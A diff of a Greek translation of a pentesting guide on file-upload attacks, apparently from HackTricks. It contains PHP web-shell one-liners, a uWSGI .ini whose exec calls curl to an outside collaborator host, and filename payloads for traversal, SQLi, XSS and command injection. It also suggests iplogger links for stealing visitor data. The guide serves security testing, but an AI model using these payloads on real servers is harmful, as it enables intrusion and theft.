Το καλύτερο πράγμα σχετικά με αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας PHP συναρτήσεις που δεν εκτελούν PHP κώδικα όπως **file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**.
|
||||
Το καλύτερο σε αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας PHP συναρτήσεις που δεν εκτελούν PHP κώδικα όπως **file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**.
|
||||
|
||||
Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν PHP ιστό να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το **`phar://`** πρωτόκολλο, και μέσα στον κώδικα βρίσκετε μια **κλάση** παρόμοια με την εξής:
|
||||
```php:vunl.php
|
||||
@ -24,7 +24,7 @@ system($this->data);
|
||||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
Μπορείτε να δημιουργήσετε ένα **phar** αρχείο που όταν φορτωθεί θα **καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές** με κάτι σαν:
|
||||
Μπορείτε να δημιουργήσετε ένα **phar** αρχείο που όταν φορτωθεί θα **καταχραστεί αυτή την κλάση για να εκτελέσει αυθαίρετες εντολές** με κάτι όπως:
|
||||
```php:create_phar.php
|
||||
<?php
|
||||
|
||||
|
@ -18,11 +18,11 @@
|
||||
|
||||
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
|
||||
|
||||
1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης να τις χρησιμοποιήσετε με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||
1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε επίσης τις προηγούμενες επεκτάσεις):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επικεφαλίδες**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -32,7 +32,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε ένα καλύτερο payload._
|
||||
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε μια καλύτερη payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -46,39 +46,39 @@
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Δοκιμάστε να βάλετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακώς ρυθμισμένος. (χρήσιμο για την εκμετάλλευση κακώς ρυθμισμένων Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
|
||||
- _ex: file.php.png_
|
||||
7. Χρησιμοποιώντας **NTFS εναλλακτική ροή δεδομένων (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (.π.χ. “file.asp::$data.”)
|
||||
7. Χρησιμοποιώντας **NTFS εναλλακτική ροή δεδομένων (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο σημείων “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (.π.χ. “file.asp::$data.”)
|
||||
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux μέγιστο 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # μείον 4 εδώ και προσθήκη .png
|
||||
# Ανεβάστε το αρχείο και ελέγξτε την απάντηση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
|
||||
# Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Δημιουργήστε το payload
|
||||
# Δημιουργήστε την payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Παράκαμψη Content-Type, Magic Number, Συμπίεση & Αλλαγή Μεγέθους
|
||||
|
||||
- Παράκαμψη **Content-Type** ελέγχων ορίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **λίστα λέξεων**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
1. Λίστα λέξεων Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Παράκαμψη **magic number** ελέγχου προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε την payload απευθείας** σε μια εικόνα:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις λειτουργίες PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Μια άλλη τεχνική για να δημιουργήσετε ένα payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- Μια άλλη τεχνική για να δημιουργήσετε μια payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη λειτουργία PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Άλλες Τεχνικές για Έλεγχο
|
||||
|
||||
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
||||
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε την backdoor.
|
||||
- **Πιθανή αποκάλυψη πληροφοριών**:
|
||||
1. Ανεβάστε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
@ -93,7 +93,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **διακομιστή PHP**, [ρίξτε μια ματιά στην τεχνική **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **διακομιστή ASP**, [ρίξτε μια ματιά στην τεχνική **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
|
||||
Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
|
||||
|
||||
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
|
||||
|
||||
@ -107,7 +107,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
|
||||
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
|
||||
|
||||
Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
|
||||
```ini
|
||||
@ -127,14 +127,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρύθμισης. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
|
||||
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
|
||||
|
||||
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρύθμισης του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
|
||||
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -157,7 +157,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Σημειώστε ότι **μία άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
|
||||
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
@ -165,21 +165,21 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες
|
||||
|
||||
- Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διαδρομής**
|
||||
- Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **παραβίαση διαδρομής**
|
||||
- Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection**
|
||||
- Ορίστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε XSS
|
||||
- Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια εκτέλεση εντολών (περισσότερα [tricks εκτέλεσης εντολών εδώ](../command-injection.md))
|
||||
- [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
- **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**εκμετάλλευση Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**Εκμετάλλευση Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
- [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποιο **δημόσιο** site, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||
- Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
|
||||
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά την μεταφόρτωση αρχείων
|
||||
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
|
||||
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
|
||||
|
||||
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
@ -203,15 +203,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
|
||||
### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
Αν μπορείτε να μεταφορτώσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Ανεβάστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
|
||||
Μεταφορτώστε έναν σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα συνδεδεμένα αρχεία:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
